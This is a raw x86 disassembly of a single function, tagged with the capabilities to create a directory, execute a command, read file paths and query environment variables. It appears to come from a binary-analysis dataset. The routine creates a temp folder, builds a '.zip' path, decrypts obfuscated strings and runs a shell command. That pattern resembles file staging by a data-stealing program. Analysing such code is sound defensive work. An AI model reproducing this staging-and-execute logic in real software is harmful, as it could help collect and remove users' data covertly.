Function at 0x407860
Capabilities:
Create directory
Execute command
Get common file path
Query environment variable

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x10a0
call fcn.00408e20
mov eax, dword [0x410654]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
push eax
xor esi, esi
mov dword [ebp - 0x1068], eax
push 0x40d2e0
push esi
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strtok_s]
mov edi, eax
add esp, 0xc
test edi, edi
je 0x407909
lea ebx, [ebp - 0x1030]
cmp esi, 0xff
jae 0x407a95
mov ecx, edi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4078b2
sub ecx, edx
mov dword [ebp - 0x1070], ecx
lea eax, [ecx*2 + 2]
push eax
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov ecx, dword [ebp - 0x1070]
push ecx
push edi
inc ecx
mov dword [ebx], eax
push ecx
push eax
lea eax, [ebp - 0x1070]
push eax
call dword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_mbstowcs_s]
push dword [ebp - 0x1068]
inc esi
add ebx, 4
push 0x40d2e0
push 0
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strtok_s]
mov edi, eax
add esp, 0x24
test edi, edi
jne 0x4078a1
mov dword [ebp + esi*4 - 0x1030], 0
lea eax, [ebp - 0x624]
push eax
push 0x105
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
lea eax, [ebp - 0x106c]
push 8
push eax
call fcn.004058d0
push dword [eax]
lea eax, [ebp - 0x624]
push eax
push str._s_s_
lea eax, [ebp - 0x418]
push 0x105
push eax
call fcn.00408740
mov eax, dword [ebp - 0x106c]
add esp, 0x1c
mov edi, dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
test eax, eax
je 0x40796c
push eax
call edi
add esp, 4
lea eax, [ebp - 0x106c]
push 8
push eax
call fcn.004058d0
push dword [eax]
lea eax, [ebp - 0x624]
push eax
push str._s_s.zip
lea eax, [ebp - 0x830]
push 0x105
push eax
call fcn.00408740
mov eax, dword [ebp - 0x106c]
add esp, 0x1c
test eax, eax
je 0x4079ac
push eax
call edi
add esp, 4
push 0
lea eax, [ebp - 0x418]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
push 0x100
lea eax, [ebp - 0x204]
mov dword [ebp - 0x20c], 0x3f005c
push eax
push dword [0x40d700]
mov dword [ebp - 0x208], 0x5c003f
xor ebx, ebx
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
test eax, eax
je 0x407a0c
lea eax, [ebp - 0x1030]
push eax
lea eax, [ebp - 0x418]
push eax
lea eax, [ebp - 0x20c]
push eax
call fcn.00408230
add esp, 0xc
mov ebx, eax
mov ecx, dword [ebp - 0x1030]
xor esi, esi
test ecx, ecx
je 0x407a2c
push ecx
call edi
lea esi, [esi + 1]
add esp, 4
mov ecx, dword [ebp + esi*4 - 0x1030]
test ecx, ecx
jne 0x407a18
lea ecx, [ebp - 0x1061]
call fcn.00406910
mov esi, eax
cmp byte [esi + 0x18], 0
je 0x407a5a
push 0xa36bcf11
push 0xcfab154f
push 0
push 0x18
push esi
call fcn.00401450
add esp, 0x14
mov byte [esi + 0x18], 0
lea eax, [esi + 0x17]
xor ecx, ecx
lea edx, [ebp - 0x10a0]
cmp edx, eax
ja 0x407ae0
lea eax, [ebp - 0x1072]
cmp eax, esi
jb 0x407ae0
nop dword [eax]
nop word [eax + eax]
movsx ax, byte [ecx + esi]
mov word [ebp + ecx*2 - 0x10a0], ax
inc ecx
cmp ecx, 0x18
jb 0x407a80
jmp 0x407afe
lea ecx, [ebp - 0x1061]
mov dword [ebx], 0
call fcn.00406840
mov edi, eax
cmp byte [edi + 0x1b], 0
je 0x407ac9
push 0x7b2f4767
push 0x1dc94bd5
push 0
push 0x1b
push edi
call fcn.00401450
add esp, 0x14
mov byte [edi + 0x1b], 0
push esi
push edi
call fcn.00403de0
add esp, 8
jmp 0x407914
movq xmm0, qword [ecx + esi]
punpcklbw xmm0, xmm0
psraw xmm0, 8
movups xmmword [ebp + ecx*2 - 0x10a0], xmm0
add ecx, 8
cmp ecx, 0x18
jb 0x407ae0
movups xmm0, xmmword [ebp - 0x10a0]
lea eax, [ebp - 0x418]
push eax
movups xmmword [ebp - 0x1060], xmm0
lea eax, [ebp - 0x830]
movups xmm0, xmmword [ebp - 0x1090]
push eax
lea eax, [ebp - 0x1060]
push eax
movups xmmword [ebp - 0x1050], xmm0
lea eax, [ebp - 0xc30]
movups xmm0, xmmword [ebp - 0x1080]
push 0x200
push eax
movups xmmword [ebp - 0x1040], xmm0
call fcn.00408740
lea eax, [ebp - 0xc30]
push eax
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wsystem]
add esp, 0x18
lea ecx, [ebp - 0x1061]
call fcn.00406b60
mov esi, eax
cmp byte [esi + 0x21], 0
je 0x407b8c
push 0xaf3baf5b
push 0xe5c303a9
push 0
push 0x21
push esi
call fcn.00401450
add esp, 0x14
mov byte [esi + 0x21], 0
push ebx
push esi
call fcn.00403de0
push 0x104
lea eax, [ebp - 0x830]
push eax
push 0x105
lea eax, [ebp - 0x938]
push eax
lea eax, [ebp - 0x1068]
push eax
call dword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_wcstombs_s]
add esp, 0x1c
lea ecx, [ebp - 0x1061]
call fcn.00406e90
mov esi, eax
cmp byte [esi + 0xc], 0
je 0x407be9
push 0x597f03bb
push 0xbfed693f
push 0
push 0xc
push esi
call fcn.00401450
add esp, 0x14
mov byte [esi + 0xc], 0
lea eax, [ebp - 0x938]
push eax
push esi
call fcn.00404d10
add esp, 8
lea ecx, [ebp - 0x1061]
test eax, eax
jne 0x407c2a
call fcn.004069d0
mov esi, eax
cmp byte [esi + 0xf], 0
je 0x407c52
push 0x77c18dbd
push 0x1df3eda3
push 0
push 0xf
push esi
call fcn.00401450
mov byte [esi + 0xf], 0
jmp 0x407c4f
call fcn.004072a0
mov esi, eax
cmp byte [esi + 0x17], 0
je 0x407c52
push 0x9e31f7f
push 0x1bfb8bc1
push 0
push 0x17
push esi
call fcn.00401450
mov byte [esi + 0x17], 0
add esp, 0x14
push esi
call fcn.00404c00
mov ecx, dword [ebp - 4]
add esp, 4
xor ecx, ebp
pop edi
pop esi
pop ebx
call fcn.00408be8
mov esp, ebp
pop ebp
ret